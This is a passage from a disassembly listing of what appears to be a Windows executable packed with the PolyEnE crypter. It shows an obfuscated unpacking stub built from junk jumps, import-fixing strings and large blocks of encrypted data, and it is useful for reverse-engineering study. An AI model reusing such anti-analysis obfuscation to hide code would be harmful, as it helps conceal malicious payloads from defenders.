0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o off_41DDE0 dd offset off_4172BC ; DATA XREF: .data:off_4172C0o ; .data:004172FCo ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_41DE00 dd offset off_4172BC ; DATA XREF: .data:off_417308o ; .data:00417344o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_41DE18 dd 0 ; DATA XREF: sub_401856:loc_40186Er ; sub_401856+21r ... dword_41DE1C dd 0 ; DATA XREF: sub_401856:loc_401883r ; sub_401856+36r ... dword_41DE20 dd 0 ; DATA XREF: sub_401856:loc_401898r ; sub_401856+4Br ... dword_41DE24 dd 0 ; DATA XREF: sub_401856+3r ; sub_401856+Cr ... dd 0 dword_41DE2C dd 0 ; DATA XREF: sub_4018AF+40r ; sub_4018AF+62r ... byte_41DE30 db 0 ; DATA XREF: sub_401981+1BAo ; sub_402A32+57r ... align 8 dword_41DE38 dd 0 ; DATA XREF: sub_40332B+1Ar ; sub_404CBB+1Br ... dword_41DE3C dd 0 ; DATA XREF: sub_40332B+Bo dword_41DE40 dd 77E7C706h ; DATA XREF: sub_403BD3+28w ; sub_409C36+12r ... align 8 dword_41DE48 dd 71C245E0h ; DATA XREF: sub_403BD3+53w dword_41DE4C dd 71C243F6h ; DATA XREF: sub_403BD3+66w dword_41DE50 dd 71C59904h ; DATA XREF: sub_403BD3+79w dword_41DE54 dd 71C453F8h ; DATA XREF: sub_403BD3+8Cw dword_41DE58 dd 71C2FA86h ; DATA XREF: sub_403BD3+9Fw dword_41DE5C dd 71C574FAh ; DATA XREF: sub_403BD3+B2w dword_41DE60 dd 71C214BAh ; DATA XREF: sub_403BD3+C5w dword_41DE64 dd 71C4A1B4h ; DATA XREF: sub_403BD3+D8w dword_41DE68 dd 71C59530h ; DATA XREF: sub_403BD3+EBw dword_41DE6C dd 71B2ACCBh ; DATA XREF: sub_403BD3+112w dword_41DE70 dd 71B22C25h ; DATA XREF: sub_403BD3+125w dword_41DE74 dd 71B2A381h ; DATA XREF: sub_403BD3+138w dword_41DE78 dd 71B28D0Dh ; DATA XREF: sub_403BD3+14Bw dword_41DE7C dd 7622A3F4h ; DATA XREF: sub_403BD3+219w ; sub_408B30+118r ... dword_41DE80 dd 5E0C4E7Dh ; DATA XREF: sub_403BD3+1F2w ; sub_414EF4+6Cr ... dword_41DE84 dd 71AB33DFh ; DATA XREF: sub_403BD3+16Cw ; sub_403BD3+197r ... dword_41DE88 dd 71ABC076h ; DATA XREF: sub_4020C2+DBr ; sub_403BD3+17Fw ... dword_41DE8C dd 71AB3A2Ch ; DATA XREF: sub_403BD3+192w ; sub_403BD3+1A9r ... dd 101h dup(0) dword_41E294 dd 0 ; DATA XREF: sub_4042FB+3r ; sub_4042FB+20o dword_41E298 dd 0 ; DATA XREF: sub_4042FB+12o ; sub_4042FB:loc_404327r align 10h dword_41E2A0 dd 76BF1C22h ; DATA XREF: sub_405FA3+46w ; sub_405FA3+7Ar ... dword_41E2A4 dd 76BF1D54h ; DATA XREF: sub_405FA3+59w ; sub_405FA3+83r ... dword_41E2A8 dd 76BF1E6Ch ; DATA XREF: sub_405FA3+6Cw ; sub_405FA3+8Cr ... dword_41E2AC dd 76BF32DDh ; DATA XREF: sub_405FA3+33w ; sub_405FA3+71r ... dword_41E2B0 dd 14AE80h, 0FFFFFFFFh, 5 dup(0) ; DATA XREF: sub_405FA3+4o ; sub_406041+Bo ... byte_41E2CC db 1 ; DATA XREF: sub_405FA3+95w ; sub_406041+16r align 10h dword_41E2D0 dd 0 ; DATA XREF: sub_409226+61w ; sub_409226+77w ... align 8 dword_41E2D8 dd 14AEA8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40938F+1Ao ; sub_4095A4+6o ... dword_41E2F0 dd 0 ; DATA XREF: sub_40938F+3w ; sub_4095A4+11r ... align 8 dword_41E2F8 dd 863A00h ; DATA XREF: sub_40938F+15w ; sub_4095A4+57r ... dword_41E2FC dd 0 ; DATA XREF: sub_409CB1+6r ; sub_409DD0+65w ... dword_41E300 dd 0 ; DATA XREF: sub_409DD0+3Fw ; sub_409DD0+44r ... dword_41E304 dd 0 ; DATA XREF: sub_409CB1+F6r ; sub_409DD0+91w ... dword_41E308 dd 0 ; DATA XREF: sub_409CB1+B9r ; sub_409DD0+7Bw ... align 10h byte_41E310 db 0 ; DATA XREF: sub_409DD0+29r ; sub_409DD0+96w align 4 dd 101h dup(0) byte_41E718 db 0 ; DATA XREF: sub_40CF2F+4Bo ; sub_40CF2F+5Eo ... align 4 dd 5Fh dup(0) dword_41E898 dd 40h dup(0) ; DATA XREF: sub_40CF2F+Eo ; sub_40CF2F+A6o ... dword_41E998 dd 3 dup(0) ; DATA XREF: sub_40CF2F+23o ; sub_40CF2F+36o ... dword_41E9A4 dd 0 ; DATA XREF: sub_40CF25+3r ; sub_40D366+15r ... dd 0 dword_41E9AC dd 0 ; DATA XREF: sub_40E618+49w ; sub_40E618:loc_40E66Dw byte_41E9B0 db 0 ; DATA XREF: sub_40E979+1Dw ; sub_40E979+46w ... align 4 dd 9 dup(0) dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0 dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh dd 16151413h, 191817h, 0 db 0 db 1Ah, 1Bh, 1Ch db 1Dh db 1Eh, 1Fh, 20h a_0123 db '!"#$%&',27h,'()*+,-./0123',0 dd 22h dup(0) byte_41EAB4 db 8Bh ; DATA XREF: sub_40ECEB+29o ; sub_40ECEB+35o ... db 0B9h, 0DBh, 0B0h dd 8FB3E9B3h, 9A9790C8h, 62FBBADBh, 0 dword_41EAC8 dd 353B9991h, 29C9A16Fh, 0F3E975C5h, 37BBFFA3h, 0 ; DATA XREF: sub_40ED6E+29o ; sub_40ED6E+35o ... dword_41EADC dd 0FA427D2Fh ; DATA XREF: sub_4102AE+1Do ; sub_410318+7w ... dword_41EAE0 dd 0B1ADEDA4h ; DATA XREF: sub_4102AE+2Do ; sub_410318+11w ... dword_41EAE4 dd 8311574Ch ; DATA XREF: sub_4102AE+3Do ; sub_410318+1Bw ... dword_41EAE8 dd 3140888Eh ; DATA XREF: sub_4102AE+4Do ; sub_410318+25w ... align 10h byte_41EAF0 db 0E2h ; DATA XREF: sub_41055F+29o ; sub_41055F+35o ... db 0E6h, 0B7h, 0B0h dd 0BECEFA9Dh, 0D3DE90C8h, 0B1F7D5FBh, 2 dup(0) dword_41EB08 dd 2 dup(0) ; DATA XREF: sub_41113B+7E8o dword_41EB10 dd 0 ; DATA XREF: sub_411DC5+557o dword_41EB14 dd 2 dup(0) ; DATA XREF: sub_411DC5+579o dword_41EB1C dd 0 ; DATA XREF: sub_4127D0+9r ; sub_4127D0+16w dword_41EB20 dd 0 ; DATA XREF: sub_4127D0+BFw ; sub_4127D0:loc_4128A0r dword_41EB24 dd 2 dup(0) ; DATA XREF: sub_412D4C+3o ; sub_412E04+7Fo dword_41EB2C dd 6B636170h, 652E6465h, 6578h, 3Eh dup(0) ; DATA XREF: sub_406E8E+208o ; sub_407148+172o ... dword_41EC30 dd 9491337Bh ; DATA XREF: sub_40A9CF+838r ; .data:00416909w dword_41EC34 dd 0A22339F8h ; DATA XREF: .data:00416913w dword_41EC38 dd 38D4B430h ; DATA XREF: .data:0041691Dw dword_41EC3C dd 0D06F35C5h ; DATA XREF: .data:00416927w dword_41EC40 dd 6B636170h, 652E6465h, 6578h, 3Fh dup(0) ; DATA XREF: sub_40A9CF+C3Do ; sub_40A9CF+C51o ... dword_41ED48 dd 40h dup(0) ; DATA XREF: sub_40A9CF+1082o ; sub_40A9CF+108Eo ... byte_41EE48 db 0 ; DATA XREF: sub_40D043+FFr ; sub_40D043+10Ao ... align 4 dd 1Fh dup(0) byte_41EEC8 db 0 ; DATA XREF: sub_403DF3:loc_403F07r ; sub_403DF3+11Fo ... align 4 dd 1Fh dup(0) dword_41EF48 dd 40h dup(0) ; DATA XREF: sub_404279+36o ; sub_4055E5+746o ... byte_41F048 db 0 ; DATA XREF: sub_40A9CF+1F37o ; sub_40D043:loc_40D0D6r ... align 4 dd 3EDh dup(0) ; --------------------------------------------------------------------------- pusha mov eax, 0DB2Fh xchg ecx, ecx push edi xchg edi, ebx jmp short loc_42000E ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- loc_42000E: ; CODE XREF: .data:0042000Bj pop ebx xchg edi, ebx jmp short loc_420014 ; --------------------------------------------------------------------------- db 69h ; --------------------------------------------------------------------------- loc_420014: ; CODE XREF: .data:00420011j push 40h mov ecx, [esp] add esp, 4 push edi xchg edi, ebx jmp short loc_420025 ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- loc_420025: ; CODE XREF: .data:00420022j pop ebx xchg edi, ebx push eax push ecx jmp short near ptr loc_42002A+1 ; CODE XREF: .data:loc_42002Aj ; --------------------------------------------------------------------------- dd 4204CE15h, 0FFF0FF00h, 24148BF0h, 0EB04C483h, 0FFEBC0FFh dd 4EC83C8h, 2404C7h, 5E004010h, 0DB2F68h, 240C8B00h, 0EB04C483h dd 0EB230F05h, 0FBEB3103h, 1E850h, 58C70000h, 0EB08C083h dd 8A58E0FFh, 80E13226h, 0E12AD0C4h, 2AFFEC82h, 1C482E1h dd 801BEC80h, 0E1023BC4h, 3201EC80h, 82D4F6E1h, 0CCC098F4h dd 0FFF4804Bh, 80FFC480h, 0CC2801C4h, 885BC482h, 42C6FF22h dd 83C9FFEBh, 850F00F9h, 0FFFFFFBBh, 8324348Bh, 0EC8304C4h dd 2404C704h, 401000h, 0D287565Fh, 833101EBh, 4C704ECh dd 42053424h, 0D0FF5800h, 0D215FFEBh, 55004204h, 719BDh dd 835D9500h, 4C704ECh, 4024h, 50905900h, 15FFEB51h, 4204CEh dd 50F0FFEBh, 1E8h, 8358C700h, 0FFEB08C0h, 5D5058E0h, 41700068h dd 19685E00h, 8B000007h, 0C4832414h, 2C2C104h, 8A02CAC1h dd 80C3FE1Eh, 0D300FFF3h, 0C0FFC382h, 0DA32DACBh, 827DEB82h dd 0EB8095EBh, 80DA32B6h, 0D30001EBh, 46005D88h, 0CAFFEB45h dd 0F00FA83h, 0FFFFCE85h, 20C6C1FFh, 230F05EBh, 0EB3103EBh dd 8600EBFBh, 0A001EBC4h, 8C0C166h, 748B4444h, 4444FE24h dd 87D28790h, 7000BFD2h, 0F6FF0041h, 0EB57C733h, 3330BD02h dd 555F2404h, 420534BDh, 0C15D9500h, 0D0FF20C6h, 0C486DB87h dd 66A001EBh, 0EB08C0C1h, 4D215FFh, 87570042h, 0F01EBFBh dd 83FB875Bh, 4C704ECh, 374E24h, 1EB5800h, 20C6C169h, 4068h dd 240C8B00h, 0EB04C483h, 0C150A901h, 0F1FF20C6h, 0EB57C733h dd 3330BD02h, 0EB5F2404h, 4CE15FFh, 0F0FF0042h, 2C8BF0FFh dd 4C48324h, 418000B9h, 3101EB00h, 1EBC486h, 0C0C166A0h dd 4EBD5508h, 95000037h, 0F6FFEB5Dh, 875FF78Bh, 0C0318AF7h dd 0CEC003C6h, 1EE80BCh, 0C059C680h, 0C68213CEh, 84C680DBh dd 0CEC0C6FEh, 0F2CEC0BAh, 0FF007588h, 0C5FFEBC1h, 0EB20C6C1h dd 0F883C8FFh, 0CA850F00h, 0EBFFFFFFh, 4048A901h, 8324348Bh dd 6804C4h, 8B004180h, 0C483243Ch, 1EB5604h, 6901EBA9h dd 1EBC486h, 0C0C166A0h, 5346808h, 48B0042h, 4C48324h dd 0FFA901EBh, 15FFEBD0h, 4204D2h, 0C1A901EBh, 0C6C120C6h dd 20C6C120h, 4173C8BFh, 0F6FFEB00h, 875FF78Bh, 835857F7h dd 4C704ECh, 524h, 0BB5900h, 39000000h, 4A850F18h, 0EB000000h dd 0EB230F05h, 0FBEB3103h, 573101EBh, 1EBFB87h, 0FB875B0Fh dd 4BA52h, 0DAF70000h, 0EB5AC22Bh, 0E850C9FFh, 1, 0C08358C7h dd 0E0FFEB08h, 3B404858h, 0D3840FCBh, 0EB000000h, 0F78BF6FFh dd 0E9F7875Fh, 0FFFFFFAFh, 686Ch, 1C8B0040h, 4C48324h dd 8B6901EBh, 0C3030C47h, 0EBF0FFEBh, 4D615FFh, 5E500042h dd 478BC987h, 8BC30110h, 6803h, 3B590000h, 7A840FC1h, 0A9000000h dd 80000000h, 36850Fh, 0BA520000h, 400000h, 0C22BDAF7h dd 0C0FFEB5Ah, 876901EBh, 0F6FFEBC9h, 875FF78Bh, 1E850F7h dd 0C7000000h, 8C08358h, 58E0FFEBh, 0EBC0FFEBh, 9E96901h dd 45000000h, 25A901EBh, 0FFFFh, 56F0FFEBh, 0DA15FFEBh dd 0B9004204h, 0 ; --------------------------------------------------------------------------- push edx push ecx cmp [esp], eax pop edx pop edx jz loc_4203FD jmp short loc_4203A8 ; --------------------------------------------------------------------------- db 69h ; --------------------------------------------------------------------------- loc_4203A8: ; CODE XREF: .data:004203A5j jmp short loc_4203AB ; --------------------------------------------------------------------------- db 69h ; --------------------------------------------------------------------------- loc_4203AB: ; CODE XREF: .data:loc_4203A8j mov [ebx], eax lea ebx, [ebx+4] jmp near ptr dword_42002C+303h ; --------------------------------------------------------------------------- les edx, [edi-79h] sti jmp short loc_4203BF ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- loc_4203BF: ; CODE XREF: .data:004203BCj pop ebx xchg edi, ebx lea edi, [edi+14h] jmp near ptr dword_42002C+271h ; --------------------------------------------------------------------------- db 0EFh, 2 dup(90h) dd 1E850h, 58C70000h, 0EB08C083h, 6158E0FFh, 67F1BD55h dd 5D950041h, 1EBC486h, 0C0C166A0h, 0F0FFEB08h, 0C1C3C987h dd 0CAC102C2h db 2 ; --------------------------------------------------------------------------- loc_4203FD: ; CODE XREF: .data:0042039Fj push ebp mov ebp, offset aUnableToFixImp ; "Unable to fix importtable." xchg eax, ebp pop ebp mov ebx, offset aPolyene ; "PolyEnE" jmp short near ptr loc_42040A+1 ; CODE XREF: .data:loc_42040Aj ; --------------------------------------------------------------------------- dd 1E850F1h, 0C7000000h, 8C08358h, 58E0FFEBh, 230F05EBh dd 0EB3103EBh, 10BAFBh, 0C7330000h, 0BD02EB57h, 24043330h dd 0F2FFEB5Fh, 1EBC486h, 0C0C166A0h, 0F3FFEB08h, 0F0FF00EBh dd 1568F1FFh, 58004206h, 0FFEBF0FFh, 0C8FFEBC0h, 0D615FFEBh dd 50004204h, 420609B8h, 86589100h, 0A001EBC4h, 8C0C166h dd 4850F1FFh, 15FFEB40h, 4204DAh, 1EBC486h, 0C0C166A0h dd 0EBD0FF08h, 4DE15FFh, 0FFEB0042h, 0C8FFEBC0h, 96E9h dd 0 dd 0C3133700h, 0E60000CDh, 204C177h, 204CE00h, 5 dup(0) dd 52454B00h, 334C454Eh, 6C642E32h, 36A3006Ch, 380377E7h dd 5D877E7h, 0A5FD77E8h, 5CB577E7h, 77E7h, 1680000h, 626F6C47h dd 6C416C61h, 636F6Ch, 6C47016Fh, 6C61626Fh, 65657246h dd 4C01A900h, 4C64616Fh, 61726269h, 417972h, 65470129h dd 6F725074h, 64644163h, 73736572h, 45007500h, 50746978h dd 65636F72h, 0E9007373h, 0B0h, 0DF8B5755h, 1E03ED33h dd 6608C683h, 0CD8B168Bh, 0EAD36646h, 0CEFE09B6h, 0E2D0F174h dd 8B567673h, 0D3068BCDh, 8BC88BE8h, 3E9C1F0h, 4A9h, 830B7400h dd 0E8C11FE1h, 8C58308h, 0E18309EBh, 5E8C103h, 8305C583h dd 0F68503E6h, 744E0E74h, 1C744E15h, 8307E083h, 1AEB03C5h dd 7F25h, 7C58300h, 3F2510EBh, 83000000h, 6EB06C5h, 830FE083h dd 8B4004C5h, 2C183F7h, 48DF02Bh, 73C33B39h, 8BA4F323h dd 0E9C15ECDh, 7E58303h, 82EBF103h, 1173FB3Bh, 68BCD8Bh dd 46E8D347h, 0E9FF4788h, 0FFFFFF6Eh, 5FC78B59h, 0C35DC72Bh ; --------------------------------------------------------------------------- jmp short near ptr dword_420620 ; --------------------------------------------------------------------------- aUnableToFixImp db 'Unable to fix importtable.',0 ; DATA XREF: .data:004203FEo aPolyene db 'PolyEnE',0 ; DATA XREF: .data:00420405o aMessageboxa db 'MessageBoxA',0 aUser32_dll db 'USER32.dll',0 dword_420620 dd 278h dup(0) ; CODE XREF: .data:004205E4j _data ends ; Section 2. (virtual address 00021000) ; Virtual size : 0001204E ( 73806.) ; Section size in file : 0001204E ( 73806.) ; Offset to raw data for section: 00021000 ; Flags C0000020: Text Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _pdata segment para public 'CODE' use32 assume cs:_pdata ;org 421000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_421000 dd 8000005Eh, 10300000h, 6EBF4585h, 920828F7h, 2AF19BFBh ; DATA XREF: .ex_cod:off_4356B8o dd 662A51A5h, 55829841h, 0E07B75AFh, 6DCB1407h, 8B37DDB2h dd 1E8D2503h, 448B3F7Ch, 1B12D061h, 0D7081B1Eh, 5C65135Eh dd 20091203h, 0AD8E12F2h, 7B07D7D8h, 0DB20993Fh, 0D292D337h dd 6F6D2713h, 0A93F5ED1h, 0DD2E1B17h, 0BE2026EDh, 69881BC0h dd 343EA3CFh, 63595B28h, 5A5B2AD9h, 0A520B54Dh, 0AB2DD332h dd 10203693h, 2F2E0F04h, 23A2652Ah, 8856328h, 6ED28FF6h dd 0DC50BD18h, 0FD0A7928h, 0C0142D43h, 0B453E990h, 294A544Ch dd 0D762B8DCh, 0BA6185E9h, 0BCDC2F29h, 986E9DD1h, 6366CAB7h dd 0ADBD2363h, 0C56E0171h, 3F950D2h, 948C1209h, 718E40ADh dd 39BC47BAh, 45FD6CDFh, 0ACB89Bh, 0B3B0A8D6h, 0CE0F1E82h dd 610F36C4h, 0A84E379Dh, 1C1392Ch, 0FFE60C61h, 2000CE13h dd 0ABDF33CBh, 6D918738h, 2C9C434Bh, 2EC84881h, 0C325B525h dd 95DA9C2Dh, 0CBEC8FCAh, 26CDBC1Bh, 0DD3DF130h, 0A004D55Ah dd 0C08FC52Fh, 0EA21BE88h, 0B575B7B6h, 2ED89B5Ch, 8BB17E70h dd 0E45B679Fh, 43063FF8h, 9DE191EEh, 0F0F55CEFh, 0E2DD51Ch dd 0DD56B20Dh, 7E5028ACh, 0B61BF414h, 0E911FD22h, 1734E5CDh dd 2064AE2Ch, 0EB2A8433h, 0F7A2A614h, 6DCA2056h, 951C76D9h dd 38DFD66Ah, 1A77152Ah, 0A4C7F11Ah, 8686D7BEh, 0ED13F5DFh dd 416CBF8Eh, 69FD1DD7h, 6FAF291Eh, 99963D4Eh, 4D178462h dd 47DFB6C7h, 9BEB90BFh, 62F15C67h, 0C828F86Ah, 0EC78F4C6h dd 463FC979h, 32DE6D7Dh, 2A7D4BEFh, 836BDD29h, 0C708E9D0h dd 0E60D7651h, 7768E959h, 0A24C013Ch, 87DDEE0Ah, 0C103EABh dd 7AC65460h, 0C3A0D64Ah, 800BBD60h, 6F81B07Ch, 0B3E36493h dd 0B338B8B2h, 99FEED0Fh, 994DE17Fh, 0FCA0AC69h, 6ACB827Bh dd 1DD2D420h, 0F24415ADh, 32243C15h, 32C44B4Eh, 0D8945839h dd 17DAE91Fh, 9A818FB8h, 75C3F760h, 9CA0B059h, 2F5734Ch dd 0CB1F32A1h, 96C8837Bh, 90536401h, 4A24BD6Dh, 551AD21Fh dd 8971BB98h, 6F2EBA14h, 0E2E30FBEh, 43F29960h, 7ABB5FE0h dd 0AD01CB1Fh, 49117648h, 0FA7442D3h, 0CB2094C6h, 6B4E1394h dd 2809C714h, 6B01186Dh, 5EDEC0B3h, 0FBB67FBEh, 0D0B64A3Fh dd 0AFB1BC2Dh, 0EE6CFD34h, 0EF488A2Ah, 0AF8A3580h, 65BF8A0h dd 8ACC8E53h, 96534537h, 6BA0CAD5h, 54D95AC2h, 867F4529h dd 9B7D1CB5h, 0A32BB423h, 58300580h, 7999F217h, 0C5596A42h dd 0D75A22FBh, 0BA1813E1h, 0AECA19D7h, 7B3C04h, 9F13B8D1h dd 0CE5B6457h, 64304268h, 1DA584BAh, 0AE29F514h, 0A93E8E96h dd 8275914Ch, 12897CAAh, 0F90AB1E8h, 5A63A4BAh, 9793E173h dd 0CBEBA23Ah, 0ABC3CDBh, 0E99457FBh, 0DD7538h, 5AE37E77h dd 0DFB321B0h, 4A922A22h, 11EE88ADh, 2C249E7Ah, 8DAE29D3h dd 0EA02AD47h, 0A96F2451h, 0CCC6BD06h, 20FCF95Eh, 0B330BDCBh dd 305C4AB5h, 241BF453h, 0A90ED025h, 0D17634DFh, 0AC6658F9h dd 81560B1h, 1755626Dh, 0A44B01A4h, 9C7A92Eh, 0A9D10549h dd 0F4FB9E98h, 0A57F6B2Ah, 1BFC2E2Bh, 0A7600A01h, 0BF613BDCh dd 0B9FB87D2h, 2A9FCBF6h, 0EB78BB8Ch, 38194616h, 0D9CFD13Ch dd 0CA57F741h, 0CD5D710Bh, 0D064C7BDh, 5ECFAA93h, 1995B974h dd 174FE6D6h, 0A4796A6Eh, 58DE0B1Dh, 0B6221F91h, 0CA6CD2D7h dd 0A036AAADh, 0C6F74164h, 3FB3A4ECh, 385C0338h, 80EC6834h dd 74AB0BBBh, 0E7E9EBA3h, 0E9F7E5Ch, 27E0E465h, 0D7A588BFh dd 0C02BE47h, 0CD4761D0h, 0F5D7B2A1h, 0DB63BD1Dh, 0AF2A1D2Eh dd 0A8545E4Fh, 0FAE5D34Ah, 5CDB89DCh, 5E40BAAFh, 12B111A2h dd 17ABA89Fh, 6CA8D4E1h, 0B3EF7530h, 4DA4BE78h, 410409C7h dd 7999080Fh, 63001B51h, 32ECFEE3h, 2513A27Dh, 39CF813Ah dd 794372Bh, 63350CEFh, 0C5E7EBB2h, 0EEA2C01Ah, 4BA3565Ch dd 24769840h, 0FB29AE95h, 0EEB4CE43h, 8818074Eh, 8690FFD8h dd 7DD55926h, 2985A708h, 20D9FBFAh, 785022D9h, 0D82ED157h dd 2A5A25A0h, 0D8609335h, 68A69D5Eh, 0BD71FA34h, 6E785AE4h dd 953A9DD8h, 0DACEC3DEh, 96ABAA95h, 7341680Fh, 8F9ED62Ch dd 0E6D0A7B2h, 0C681BBD4h, 0AAA01FE6h, 39789B1h, 243D0121h dd 41A5C2A0h, 319A692Ch, 88569C50h, 882AEFE1h, 0D3F1EE5Bh dd 0FC079246h, 30BA8B23h, 0B2213D9Fh, 0A1EC28F7h, 29B6B17Dh dd 5DC93865h, 0B573E4C8h, 0F3BF33CAh, 207A1602h, 321C0B10h dd 0B3C5D6C5h, 3A4F4D63h, 6D0F025Fh, 9481DD4Ch, 7DC8AB5Eh dd 0EBE8CEB9h, 0E300862h, 66DC438Ch, 8DD3B9CBh, 0D76CEE11h dd 0D4E263B1h, 6F0160C2h, 0DD11633h, 8E2E6911h, 0F0A4A3A5h dd 0D188C3C3h, 0E9082A27h, 0AE126736h, 41E1F831h, 5DEF5F47h dd 0D7E7A65Fh, 0BE0D0655h, 971C569Fh, 93A36805h, 696D0DD5h dd 63171CABh, 15DB5180h, 0AE48DBE5h, 8375F935h, 7E0D7F3Eh dd 74851F63h, 82DCDBBh, 0B3515A6Fh, 0A2A0AAE5h, 6E670905h dd 8E5E3E9Bh, 628E3D93h, 10C81CBEh, 0B49A102h, 4B622B2Ch dd 0BD556341h, 0C0576036h, 25227995h, 0A48CA29Fh, 4F79BA16h dd 13ED21BCh, 4FC02E80h, 183E12C7h, 0D6268BD5h, 0D0B57E3Ah dd 0D2592285h, 0B9D6F453h, 354BDFBAh, 0B427545Eh, 0DA60B1C7h dd 810D45A7h, 249B31A0h, 682F74C0h, 780CBA6Ah, 28A03903h dd 0CA8F7741h, 0FEFB18CFh, 0D471696Dh, 0A626B018h, 0DD6BE3A6h dd 558CC71Fh, 0A90E323Ch, 0E61D5B50h, 857CF374h, 3729ADE1h dd 73575BD2h, 0C327A517h, 0A858DA36h, 10B174D4h, 82C7694Ch dd 0A4AA0549h, 99F6E1D7h, 6FD7482Fh, 288B7022h, 741DAA1Ch dd 9F3096C7h, 9E8A2599h, 68075F7Bh, 9EB44271h, 77FF51Dh dd 6CAC6029h, 36D25023h, 0E84D4C72h, 0BE3B84BDh, 18C5B77Bh dd 621BD575h, 1A27485Dh, 9E35A8DEh, 0F6432DEFh, 0DD5602D0h dd 3D8EC34Bh, 0E69885B3h, 0FD06A102h, 0ACD78A2h, 0E3C377B2h dd 0B7144B80h, 2D1CA7C2h, 7687A03Eh, 0D927EC3Bh, 0D92234D0h dd 31B517A8h, 2B6FC8AEh, 0BE82341Fh, 84C28BB7h, 7E78815Eh dd 0A60393B5h, 9747B909h, 96662D5Fh, 0E154DC3Bh, 0B040E4E7h dd 6160F69Ch, 260AB6DBh, 0FEA5E6B6h, 2FC0723Fh, 6CB43302h dd 11DBFB5h, 0D7202356h, 0F6ECC316h, 9DE0E637h, 0CF605123h dd 151920B3h, 0C7A0A002h, 24225DB9h, 0FB33979Eh, 0D8A69E7Eh dd 0C366EDFBh, 0FBA69D28h, 0A8A549F5h, 0E05DEE01h, 49EAAE8Ch dd 9DC65F52h, 8337C380h, 83BA4523h, 0D4A2A6F7h, 871986EEh dd 27EFFFCDh, 0CEE452D9h, 0F075B2C8h, 5A647D3Eh, 5A4231DAh dd 72222230h, 0A3192D82h, 34D67ADAh, 94D0D883h, 4F5CFC76h dd 9A993ADh, 92F441Dh, 87C4161Eh, 3691D597h, 95256D30h dd 662F9D3Eh, 61AF996Bh, 65CE4408h, 0A9824F71h, 56375126h dd 2BE782ADh, 85AE497Eh, 0A2BCBCAFh, 4D5581A7h, 0FB878634h dd 0B06D1DD6h, 36DE4691h, 61F48767h, 1807BAD3h, 0EC9C47FFh dd 17D1E889h, 87898DA4h, 0C35911FBh, 0D6E8E211h, 86C96387h dd 0DCE30D8h, 933A0AE7h, 0CCC3CA2Ah, 15CF6442h, 0C8A561E1h dd 0C036542h, 0C7FCF402h, 0F34D6ECCh, 0CB45030Bh, 0CBC5386Ch dd 3DB4287Fh, 5DB6C6B4h, 0AEFF40E4h, 0B034B431h, 5329ECCh dd 0F13E52B7h, 0CDD51F57h, 4A2AC930h, 5CB40C54h, 46625D57h dd 6922F9BCh, 0C25741DAh, 2D4421CEh, 857A1810h, 9728F96Ch dd 0D49C7FBBh, 0AF899462h, 966E96A9h, 0E404ACD7h, 39B2FE5Dh dd 0FD1892E6h, 0D36735D4h dd 0FBC87E2Ch, 5443E86Fh, 0DACDC2F9h, 2564B30Dh, 2B01647Fh dd 7507D528h, 0AB0FEBC0h, 58922093h, 0EC13DAD7h, 0BEF775B6h dd 0B9B2A6B0h, 0F3ECFAA8h, 14504F30h, 15730F84h, 0C4F10E98h dd 0E8BC5ED9h, 0DAF555E3h, 0F447F6AAh, 23481D5Eh, 0D711F673h dd 0D9872F2Dh, 0D75FDF7Fh, 5A6440BCh, 0C239C7E4h, 9C1BECD8h dd 56CF48F3h, 0D1BA0007h, 0C45F2CADh, 0AF693A68h, 0C0C6F141h dd 4C97F738h, 50ACE5EAh, 1B87D57h, 574B15A6h, 0FA6B925h dd 0AB69A15Bh, 0B7AC164Bh, 73AC6A79h, 53D25168h, 41449B77h dd 0C5EA7B90h, 9399994Ah, 40D7917Fh, 47870A75h, 21BC28D3h dd 0DF281573h, 0A2C7FEE1h, 0B85FB64Fh, 791ADF7Dh, 0F5A76A47h dd 0EE64FE11h, 22A9A3B5h, 312A970h, 0EB0A4EB2h, 323D77A2h dd 3F4C34Eh, 96DA5AEFh, 1FDBAB8Eh, 0B8FAE143h, 0AE694303h dd 0EED507E9h, 3E62B92Eh, 5E74FB4Fh, 6EB5345Bh, 47F2E749h dd 7FC85E6Ah, 3418A44Ch, 90DDC5EDh, 5EFD8834h, 0F79DBD23h dd 969BEDBCh, 73753AA3h, 0D2A0888Ah, 54D4F165h, 5D6E9C69h dd 25F3C8AFh, 6D930073h, 85683026h, 4318536Eh, 0CAAFF745h dd 0FA593B98h, 8D3999CDh, 0D3F357B4h, 1DC2B087h, 2402E32Dh dd 9249208Ah, 974795BAh, 5FBBBF49h, 1C1452A3h, 79191053h dd 7043271Fh, 9B0BD1A5h, 3482D313h, 7BE5D5F5h, 100293E9h dd 85ECC07Fh, 0B02F3DA0h, 47BB5B27h, 94213492h, 0A7177897h dd 0A1DE2D47h, 750FBA84h, 1FB45586h, 0BAFDFDD2h, 770A3D9Dh dd 0ABEE281h, 8A49EB15h, 4DBBEBBEh, 0B8C82CADh, 0DAC8488Fh dd 8D04DA0Dh, 0EF37EC6Bh, 0BED8E698h, 4D731937h, 8944D15Ch dd 3D4FB42Eh, 0D40C75A9h, 7967DB13h, 7BE80DCAh, 1B7D773h dd 6004735Fh, 0C3A94C4Dh, 1DB2CBD5h, 3F4FD1A7h, 72CC3EA9h dd 0BA65AC90h, 0DF25DED7h, 0A468F5B5h, 160BAEAAh, 32F78680h dd 195FFA9Dh, 984F02Dh, 6E51FD6Bh, 2A95AF7Eh, 0D1559B6Bh dd 41FA018Dh, 76B31D39h, 5F73BD2Fh, 0ED5A30B0h, 0A5C61A15h dd 59568AE0h, 0FCEC7979h, 38164FD6h, 14724A25h, 0F4E2232Fh dd 31A577C8h, 0AF7B191Eh, 29B6562Fh, 0B5FAD176h, 0E8908513h dd 0A5470DE6h, 0CCF9186h, 4CFF32FBh, 90EAE6A8h, 9346C65Bh dd 0D1407318h, 6AF939ABh, 0F8FB5000h, 949BB44Bh, 86A031E7h dd 0FF0AAFABh, 2BBB6BC6h, 